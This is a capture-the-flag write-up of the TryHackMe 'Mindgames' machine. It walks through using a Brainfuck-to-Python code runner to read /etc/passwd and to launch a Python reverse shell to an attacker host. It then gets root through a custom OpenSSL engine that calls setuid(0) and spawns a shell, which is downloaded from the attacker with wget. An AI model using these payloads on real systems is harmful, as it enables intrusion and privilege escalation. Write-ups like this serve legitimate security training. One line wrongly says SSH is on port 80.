Mindgames (RCE Brainfuck+Python + cap_setuid of openssl privesc)
tryhackme - mindgames
This text is about the CTF Challenge mindgames, found on tryhackme.com. The description of this challenge is straight forward:
No hints. Hack it. Don't give up if you get stuck, enumerate harder
Sounds fun. Let's start. Enumerating the target
I usually add an entry for the target to the /etc/hostsfile. Therefore, the target will be referred to as mindgames.thm nmap
Our enumeration begins with a nmap scan:
$ nmap -A -sV -sC mindgames.thm -v -v -p1-65535 -oN mindgames.thm.nmap
Nmap 7.91 scan initiated Fri Apr 16 21:36:38 2021 as: nmap -A -sV -sC -v -v -p1-65535 -oN mindgames.nmap mindgames.thm
Increasing send delay for 10.10.168.133 from 0 to 5 due to 545 out of 1815 dropped probes since last increase. Nmap scan report for mindgames.thm (10.10.168.133) Host is up, received echo-reply ttl 63 (0.025s latency). rDNS record for 10.10.168.133: mindgames Scanned at 2021-04-16 21:36:38 CEST for 382s Not shown: 65533 closed ports Reason: 65533 resets PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 24:4f:06:26:0e:d3:7c:b8:18:42:40:12:7a:9e:3b:71 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDffdMrJJJtZTQTz8P+ODWiDoe6uUYjfttKprNAGR1YLO6Y25sJ5JCAFeSfDlFzHGJXy5mMfV5fWIsdSxvlDOjtA4p+P/6Z2KoYuPoZkfhOBrSUZklOig4gF7LIakTFyni4YHlDddq0aFCgHSzmkvR7EYVl9qfxnxR0S79Q9fYh6NJUbZOwK1rEuHIAODlgZmuzcQH8sAAi1jbws4u2NtmLkp6mkacWedmkEBuh4YgcyQuh6jO+Qqu9bEpOWJnn+GTS3SRvGsTji+pPLGnmfcbIJioOG6Ia2NvO5H4cuSFLf4f10UhAC+hHy2AXNAxQxFCyHF0WVSKp42ekShpmDRpP | 256 5c:2b:3c:56:fd:60:2f:f7:28:34:47:55:d6:f8:8d:c1 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNlJ1UQ0sZIFC3mf3DFBX0chZnabcufpCZ9sDb7q2zgiHsug61/aTEdedgB/tpQpLSdZi9asnzQB4k/vY37HsDo= | 256 da:16:8b:14:aa:58:0e:e1:74:85:6f:af:bf:6b:8d:58 (ED25519) |ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKrqeEIugx9liy4cT7tDMBE59C9PRlEs2KOizMlpDM8h 80/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API) | http-methods: | Supported Methods: GET HEAD POST OPTIONS |_http-title: Mindgames. No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=4/16%OT=22%CT=1%CU=36387%PV=Y%DS=2%DC=T%G=Y%TM=6079E8C OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ OS:(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%TS=A)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O OS:3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=F4B3%W2= OS:F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M505NNSN OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 33.497 days (since Sun Mar 14 08:48:01 2021) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp) HOP RTT ADDRESS 1 23.12 ms 10.9.0.1 2 23.19 ms mindgames (10.10.168.133)
Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Fri Apr 16 21:43:00 2021 -- 1 IP address (1 host up) scanned in 382.95 seconds
nmap reveals an SSH service running on port 80 and a golang application running on port 80. As we don't have any credentials right now, looking at the Golang http server seems to be a good starting point. Port 80: Golang net/http server
Visiting http://mindgames.thm revealed indeed a webpage, a nice contrast to the apache default website I encountered the last days :-)
This is what the website has to say:
Sometimes, people have bad ideas. Sometimes those bad ideas get turned into a CTF box. I'm so sorry.
Ever thought that programming was a little too easy? Well, I have just the product for you. Look at the example code below, then give it a go yourself!
Like it? Purchase a license today for the low, low price of 0.009BTC/yr! Hello, World
+[------->++<]>++.++.---------.+++++.++++++.+[--->+<]>+.------.++[->++<]>.-[->+++++<]>++.+++++++..+++.[->+++++<]>+.------------.---[->+++<]>.-[--->+<]>---.+++.------.--------.-[--->+<]>+.+++++++.>++++++++++.
Fibonacci
--[----->+<]>--.+.+.[--->+<]>--.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.++[++>---<]>+.-[-->+++<]>--.>++++++++++.[->+++<]>++....-[--->++<]>-.---.[--->+<]>--.+[----->+<]>+.-[->+++++<]>-.--[->++<]>.+.+[-->+<]>+.[-->+++<]>+.+++++++++.>++++++++++.[->+++<]>++........---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.[-->+++<]>+.>++++++++++.[->+++<]>++....---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.++++.--------.++.-[--->+++++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.+++++.---------.>++++++++++...[--->+++++<]>.+++++++++.+++.[-->+++++<]>+++.-[--->++<]>-.[--->+<]>---.-[--->++<]>-.+++++.-[->+++++<]>-.---[----->++<]>.+++[->+++<]>++.+++++++++++++.-------.--.--[->+++<]>-.+++++++++.-.-------.-[-->+++<]>--.>++++++++++.[->+++<]>++....[-->+++++++<]>.++.---------.+++++.++++++.+[--->+<]>+.-----[->++<]>.[-->+<]>+++++.-----[->+++<]>.[----->++<]>-..>++++++++++.
I'll be fcked if that doesn't look like brainfck (bf from now on)!
A quick look at the source code of the webpage does reveal an interesting insight on the character of this challenge's creator, but besides a linked javascript file, there is nothing of interest.
The javascript itself is a helper for sending an asynchronous POST request to the backend url /api/bf:
async function runCode() { const programBox = document.querySelector("#code") const outBox = document.querySelector("#outputBox") outBox.textContent = await (await postData("/api/bf", programBox.value)).text() }
The webpage even offers you to interpret your own code and offers some samples. Trying out the Hello, World example indeed returns the result: Hello, World.
Typing in a command doesn't return results, also it seems to handle gibberish quite as well. I have not much knowledge about bf, so I simply copy about two thirds of the first example code and try to run that as well. To my surprise, I receive an error:
File "", line 1 print("Hello, ^ SyntaxError: EOL while scanning string literal
That error style looks familiar. Let's look at that bf code a little closer! I use this to translate the example to something a normal human being enjoys reading and get
print("Hello, World")
Alright, I don't know much about bf, but I have not heard about functions in bf itself, so is this probably just obfuscating another language?
Let's look at the Fibonacci example!
def F(n): if n <= 1: return 1 return F(n-1)+F(n-2)
for i in range(10): print(F(i))
A def keyword, no semicolons and no curly braces? That looks a lot like python! We can verify that by again using the aforementioned webpage which also offers a text to bf translator: http://copy.sh/brainfuck/text.html
import os os.system("cat /etc/passwd")
becomes
+[----->+++<]>++.++++.+++.-.+++.++.[---->+<]>+++.+++++[->+++<]>.++++.>++++++++++.-[------->+<]>.++++.+[++>---<]>.[--->++<]>-.++++++.------.+.+++[->+++<]>.++++++++.+++[++>---<]>.------.-[->+++<]>.--.--[--->+<]>-.[---->+<]>+++.[-->+++<]>-.[--->+<]>.[--->+<]>---.++[->+++<]>+.-[-->+<]>--.+[----->+<]>.[----->++<]>+.--[--->+<]>--..++++.[->+++<]>-.-[--->+<]>+.+++++++.
Bingo! We retrieve a result:
rootβ0:0:root:/root:/bin/bash daemonβ1:1:daemon:/usr/sbin:/usr/sbin/nologin binβ2:2:bin:/bin:/usr/sbin/nologin sysβ3:3:sys:/dev:/usr/sbin/nologin syncβ4:65534:sync:/bin:/bin/sync gamesβ5:60:games:/usr/games:/usr/sbin/nologin manβ6:12:man:/var/cache/man:/usr/sbin/nologin lpβ7:7:lp:/var/spool/lpd:/usr/sbin/nologin mailβ8:8:mail:/var/mail:/usr/sbin/nologin newsβ9:9:news:/var/spool/news:/usr/sbin/nologin uucpβ10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxyβ13:13:proxy:/bin:/usr/sbin/nologin www-dataβ33:33:www-data:/var/www:/usr/sbin/nologin backupβ34:34:backup:/var/backups:/usr/sbin/nologin listβ38:38:Mailing List Manager:/var/list:/usr/sbin/nologin ircβ39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnatsβ41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobodyβ65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-networkβ100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolveβ101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslogβ102:106::/home/syslog:/usr/sbin/nologin messagebusβ103:107::/nonexistent:/usr/sbin/nologin _aptβ104:65534::/nonexistent:/usr/sbin/nologin lxdβ105:65534::/var/lib/lxd/:/bin/false uuiddβ106:110::/run/uuidd:/usr/sbin/nologin dnsmasqβ107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscapeβ108:112::/var/lib/landscape:/usr/sbin/nologin pollinateβ109:1::/var/cache/pollinate:/bin/false sshdβ110:65534::/run/sshd:/usr/sbin/nologin tryhackmeβ1000:1000:tryhackme:/home/tryhackme:/bin/bash mindgamesβ1001:1001:,,,:/home/mindgames:/bin/bash
Since that works, we can start to hijack the machine... Exploitation Getting a foothold: Initial shell Preparation
Constructing a reverse shell in python is straightforward (example taken from here):
import pty import socket,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("IP.ADDR.OF.ATTACKER", 5555)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/bash")
becomes
+[----->+++<]>++.++++.+++.-.+++.++.[---->+<]>+++.[-->+++++++<]>.++++.+++++.>++++++++++.--[----->+<]>+.++++.+++.-.+++.++.[---->+<]>+++.---[->++++<]>-.----.------------.++++++++.------.[--->+<]>---.[++>---<]>--.-[----->+<]>.++++.>++++++++++.+[--------->+<]>.+[-->+<]>+++.---[->++<]>-.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.[--->++<]>-.----.------------.++++++++.------.[--->+<]>---.+[--->+<]>+.--[->+++<]>+.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.--[-->+++<]>-.+++++.[->+++++<]>+.[--->+++++<]>.+++++.---------.>-[--->+<]>-.[-->+<]>++.-[--->++<]>+.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.>-[--->+<]>--.----.[----->+<]>.++++++++.--[----->+++<]>.------------.+.--.-[->++++<]>+.----.++++++++++++.+[-->+<]>++.>++++++++++.+[--------->+<]>.+[++>---<]>.--[--->+<]>-.++++++++++++.-..---------.--.-[--->+<]>--.+[--->+<]>+..------.++[->++<]>+.+++++++.[-->+<]>++++++.--[-->+++<]>-.+++..[->+++++<]>--.[-->+<]>+++++.------[->++<]>-.---------.-[--->++<]>.--[-->+++<]>-.>-[--->+<]>-..[---->+++<]>++.++.++++++++.------.+++++++++++++.[-->+<]>-------.++++++++++.------------.-----[->++<]>-....------------..>++++++++++.-[------->+<]>.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.++++.-------.>++++++++++.-[------->+<]>.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.+++++.--------.>++++++++++.-[------->+<]>.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.++++++.---------.>++++++++++.-[------->+<]>+.++++.+++++.-----[++>---<]>.[--->++<]>-.---.[----->++<]>+.+[--->+<]>+.---------.++[++>---<]>.------.+++++++++++++.++[->++<]>.+++++++.+++++.++[->+++++<]>-.++[->++<]>.-.--[--->+<]>--.-----------.--[--->+<]>.+++++++.
Execution
Start a netcat listener on your machine
$ nc -lnvp 5555
Trigger the reverse shell
$ curl -X POST --data "${bfshellcode}" http://mindgames.thm/api/bf
the shell should spawn in your netcat listener. In the home directory of the current user you find the obligatory user.txt:
$ cat user.txt thm{RETRACTED}
Getting root Preparation
I ran linpeas on the target machine and found three binaries with enabled capabilities:
Files with capabilities: /usr/bin/mtr-packet = cap_net_raw+ep /usr/bin/openssl = cap_setuid+ep /home/mindgames/webserver/server = cap_net_bind_service+ep /home/mindgames/webserver/server = cap_net_bind_service+ep is writable
That cap_setuid looks sweet! GTFObins tells us that It loads shared libraries that may be used to run code in the binary execution context.
$ openssl req -engine ./lib.so
Great, so I just need my own openssl engine? How hard can that be? Turns out: quite simple, the openssl team provides the skeleton for our exploit on a fancy blog page called Engine Building Lesson 1: A Minimum Useless Engine. Not so useless, anymore!
Using the provided example I came up with
#include <openssl/engine.h>
static int bind(ENGINE *e, const char *id) { setuid(0); system("/bin/sh"); }
IMPLEMENT_DYNAMIC_BIND_FN(bind) IMPLEMENT_DYNAMIC_CHECK_FN()
The blog even tells us how to compile:
$ gcc -fPIC -o silly-engine.o -c silly-engine.c $ gcc -shared -o silly-engine.so -lcrypto silly-engine.o
Execution
I started a python webserver and transferred our little exploit to the target. attacker:
python -m http.server 12345
target:
wget http://${ip.of.attacking.maching}:12345/silly-engine.so
Then, just run the command as instructed by GTFObins:
openssl req -engine ./silly-engine.so
id
uid=0(root) gid=1001(mindgames) groups=1001(mindgames)
cd /root
cat root.txt
thm{RETRACTED}
Last updated